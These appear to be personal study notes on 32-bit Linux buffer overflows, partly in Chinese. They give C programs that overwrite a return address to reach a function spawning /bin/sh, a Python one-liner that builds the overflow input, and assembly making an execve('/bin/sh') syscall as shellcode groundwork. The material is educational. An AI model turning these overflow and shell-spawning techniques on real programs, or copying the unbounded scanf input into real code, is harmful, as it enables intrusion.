Security
Useful Commands
file
hexdump
ldd
objdump
strace
ltrace
valgrind
dmesg
Binary to Assembly
$ sudo pacman -S nasm
$ ndisasm BINARY
Memory Checking
$ sudo pacman -S valgrind-multilib # for both x86_64 and x86
IDA Pro
Buffer Overflow
Buffer Overflow - Example 1
hack EIP in your own code
#include <stdio.h>
#include <stdlib.h> // system
void func() {
printf("buffer overflow\n");
system("/bin/sh");
}
void bof() {
char buf[10];
*(int *) &buf[10 + 4] = func; // buf[10] => ebp, buf[14] => eip
}
int main() {
bof();
return 0;
}
/*
In order to address all memory, pointer is 32 bits (4 bytes) on 32 bits machine
+-----------------+ high address
| |
| |
+-----------------+
| Stack | |
| | |
| v |
+-----------------+
| |
| ... |
| |
+-----------------+
| (main) |
| return address |
| (eip) |
EBP+12 | |
+-----------------+
| (main) |
| saved ebp |
| |
EBP+8 | |
+-----------------+
| (bof) | EIP
| return address | EIP
| (eip) | EIP
EBP+4 | | <----- EIP
+-----------------+
| (bof) | EBP
| saved ebp | EBP
| | EBP
EBP | | <----- EBP
+-----------------+
| buf[9] |
| buf[8] |
| buf[7] |
| buf[6] |
| buf[5] |
| buf[4] |
| buf[3] |
| buf[2] |
| buf[1] |
EBP-10 | buf[0] | <----- buf
+-----------------+
| ... |
| |
+-----------------+ low address
*/
compile
$ gcc -m32 bof_1.c -o bof_1
Buffer Overflow - Example 2
hack EIP in your own code (with arguments)
#include <stdio.h>
#include <stdlib.h> // system
void func() {
printf("buffer overflow\n");
system("/bin/sh");
}
void bof(long a, long b, long c, long d,
long e, long f, long g, long h) {
printf("bof test\n");
char buf[10];
*(int *) &buf[10 + 8 + 4] = func;
}
int main(int argc, char *argv[]) {
printf("start\n");
bof(1, 2, 3, 4, 5, 6, 7, 8);
printf("end\n");
return 0;
}
/*
In order to address all memory, pointer is 32 bits (4 bytes) on 32 bits machine
+-----------------+ high address
| |
| |
+-----------------+
| Stack | |
| | |
| v |
+-----------------+
| |
| ... |
| |
+-----------------+
| (main) |
| return address |
| (eip) |
| |
+-----------------+
| (main) |
| ??? |
| (20 bytes) |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
| |
+-----------------+
| (main) |
| saved ebp |
| |
| |
+-----------------+
| ??? |
| 8 bytes |
| |
| |
| |
| |
| |
| |
+-----------------+
| (bof) |
| h |
| |
| |
+-----------------+
| (bof) |
| g |
| |
| |
+-----------------+
| (bof) |
| f |
| |
| |
+-----------------+
| (bof) |
| e |
| |
| |
+-----------------+
| (bof) |
| d |
| |
| |
+-----------------+
| (bof) |
| c |
| |
| |
+-----------------+
| (bof) |
| b |
| |
| |
+-----------------+
| (bof) |
| a |
| |
| |
+-----------------+
| (bof) | EIP
| return address | EIP
| (eip) | EIP
EBP+4 | | <----- EIP
+-----------------+
| (bof) | EBP
| saved ebp | EBP
| | EBP
EBP | | <----- EBP
+-----------------+
| ??? |
| 8 bytes |
| |
| |
| |
| |
| |
| |
+-----------------+
| buf[9] |
| buf[8] |
| buf[7] |
| buf[6] |
| buf[5] |
| buf[4] |
| buf[3] |
| buf[2] |
| buf[1] |
| buf[0] | <----- buf
+-----------------+
| ... |
| |
+-----------------+ low address
*/
compile
$ gcc -m32 bof_2.c -o bof_2
Buffer Overflow - Example 3
hack EIP by scanf
(notice: scanf 和 gets 都會在結尾加上 ‘0’)
#include <stdio.h>
#include <stdlib.h> // system
void func() {
printf("buffer overflow\n");
system("/bin/sh");
}
void bof(long a, long b, long c, long d,
long e, long f, long g, long h) {
printf("bof test\n");
char buf[10];
scanf("%s", buf);
}
int main(int argc, char *argv[]) {
printf("start\n");
bof(1, 2, 3, 4, 5, 6, 7, 8);
printf("end\n");
return 0;
}
compile
$ gcc -m32 bof_3.c -o bof_3
generate input
$ readelf -a ./bof_3 | grep func # func's address is 0x080484fb
40: 080484fb 41 FUNC GLOBAL DEFAULT 13 func
$ python -c "print('0123456789123456781234' + chr(0xfb) + chr(0x84) + chr(0x04) + chr(0x08))" > input.utf8
$ iconv -f utf-8 -t iso-8859-1 input.utf8 > input.latin1 # use eight-bit ASCII extensions instead of UTF8
$ ./bof_3 < input.latin1
start
bof test
buffer overflow
Segmentation fault (core dumped)
Buffer Overflow - Example 4
[todo]
inject your code (shellcode)
#include <stdio.h>
void bof(long a, long b, long c, long d,
long e, long f, long g, long h) {
printf("bof test\n");
char buf[10];
scanf("%s", buf);
}
int main(int argc, char *argv[]) {
printf("start\n");
bof(1, 2, 3, 4, 5, 6, 7, 8);
printf("end\n");
return 0;
}
Assembly Practice
寫到 stdout:
.data
msg:
.ascii "Hello World!\n"
.text
.globl _start
_start:
movl $4, %eax # use the write syscall
movl $1, %ebx # write to stdout
movl $msg, %ecx # use string of msg
movl $13, %edx # write 13 characters
int $0x80 # make syscall
movl $1, %eax # use the _exit syscall
movl $0, %ebx # error code 0
int $0x80 # make syscall
使用 execve system call
.data
cmd:
.ascii "/bin/sh"
.text
.globl _start
_start:
movl $11, %eax # use the execve syscall
movl $cmd, %ebx # use string of cmd
int $0x80 # make syscall
movl $1, %eax # use the _exit syscall
movl $0, %ebx # error code 0
int $0x80 # make syscall
ignore _exit, make it shorter
.data
cmd:
.ascii "/bin/sh"
.text
.globl _start
_start:
movl $11, %eax # use the execve syscall
movl $cmd, %ebx # use string of cmd
int $0x80 # make syscall
compile
$ gcc -nostdlib practice.s -o practice
觀察
$ gdb /usr/lib32/libc.so.6
(gdb) disassemble execve
Dump of assembler code for function execve:
0x000b29a0 <+0>: push %ebx
0x000b29a1 <+1>: mov 0x10(%esp),%edx # put address of **envp into edx register
0x000b29a5 <+5>: mov 0xc(%esp),%ecx # put address of **argv into ecx register
0x000b29a9 <+9>: mov 0x8(%esp),%ebx # put address of *filename into ebx register
0x000b29ad <+13>: mov $0xb,%eax # put 0xb in eax register; 0xb == execve in the internal system call table (32 bits Linux kernel)
0x000b29b2 <+18>: call *%gs:0x10
0x000b29b9 <+25>: pop %ebx
0x000b29ba <+26>: cmp $0xfffff001,%eax
0x000b29bf <+31>: jae 0xb29c2 <execve+34>
0x000b29c1 <+33>: ret
0x000b29c2 <+34>: call 0x12158d <__x86.get_pc_thunk.cx>
0x000b29c7 <+39>: add $0x100639,%ecx
0x000b29cd <+45>: mov -0xe4(%ecx),%ecx
0x000b29d3 <+51>: neg %eax
0x000b29d5 <+53>: add %gs:0x0,%ecx
0x000b29dc <+60>: mov %eax,(%ecx)
0x000b29de <+62>: or $0xffffffff,%eax
0x000b29e1 <+65>: ret
End of assembler dump.
(gdb) disassemble system
Dump of assembler code for function system:
0x0003ae00 <+0>: sub $0xc,%esp
0x0003ae03 <+3>: mov 0x10(%esp),%eax
0x0003ae07 <+7>: call 0x121585 <__x86.get_pc_thunk.dx>
0x0003ae0c <+12>: add $0x1781f4,%edx
0x0003ae12 <+18>: test %eax,%eax
0x0003ae14 <+20>: je 0x3ae20 <system+32>
0x0003ae16 <+22>: add $0xc,%esp
0x0003ae19 <+25>: jmp 0x3a8a0 <do_system>
0x0003ae1e <+30>: xchg %ax,%ax
0x0003ae20 <+32>: lea -0x55d5f(%edx),%eax
0x0003ae26 <+38>: call 0x3a8a0 <do_system>
0x0003ae2b <+43>: test %eax,%eax
0x0003ae2d <+45>: sete %al
0x0003ae30 <+48>: add $0xc,%esp
0x0003ae33 <+51>: movzbl %al,%eax
0x0003ae36 <+54>: ret
End of assembler dump.
$ gdb /usr/lib/libc.so.6
(gdb) disassemble execve
Dump of assembler code for function execve:
0x00000000000b7c90 <+0>: mov $0x3b,%eax
0x00000000000b7c95 <+5>: syscall
0x00000000000b7c97 <+7>: cmp $0xfffffffffffff001,%rax
0x00000000000b7c9d <+13>: jae 0xb7ca0 <execve+16>
0x00000000000b7c9f <+15>: retq
0x00000000000b7ca0 <+16>: mov 0x2e41b1(%rip),%rcx # 0x39be58
0x00000000000b7ca7 <+23>: neg %eax
0x00000000000b7ca9 <+25>: mov %eax,%fs:(%rcx)
0x00000000000b7cac <+28>: or $0xffffffffffffffff,%rax
0x00000000000b7cb0 <+32>: retq
End of assembler dump.
(gdb) disassemble system
Dump of assembler code for function system:
0x000000000003f820 <+0>: test %rdi,%rdi
0x000000000003f823 <+3>: je 0x3f830 <system+16>
0x000000000003f825 <+5>: jmpq 0x3f2b0 <do_system>
0x000000000003f82a <+10>: nopw 0x0(%rax,%rax,1)
0x000000000003f830 <+16>: lea 0x124449(%rip),%rdi # 0x163c80
0x000000000003f837 <+23>: sub $0x8,%rsp
0x000000000003f83b <+27>: callq 0x3f2b0 <do_system>
0x000000000003f840 <+32>: test %eax,%eax
0x000000000003f842 <+34>: sete %al
0x000000000003f845 <+37>: add $0x8,%rsp
0x000000000003f849 <+41>: movzbl %al,%eax
0x000000000003f84c <+44>: retq
End of assembler dump.
Buffer Overflow - Example 5
[todo]
Buffer Overflow - Example 6
[todo]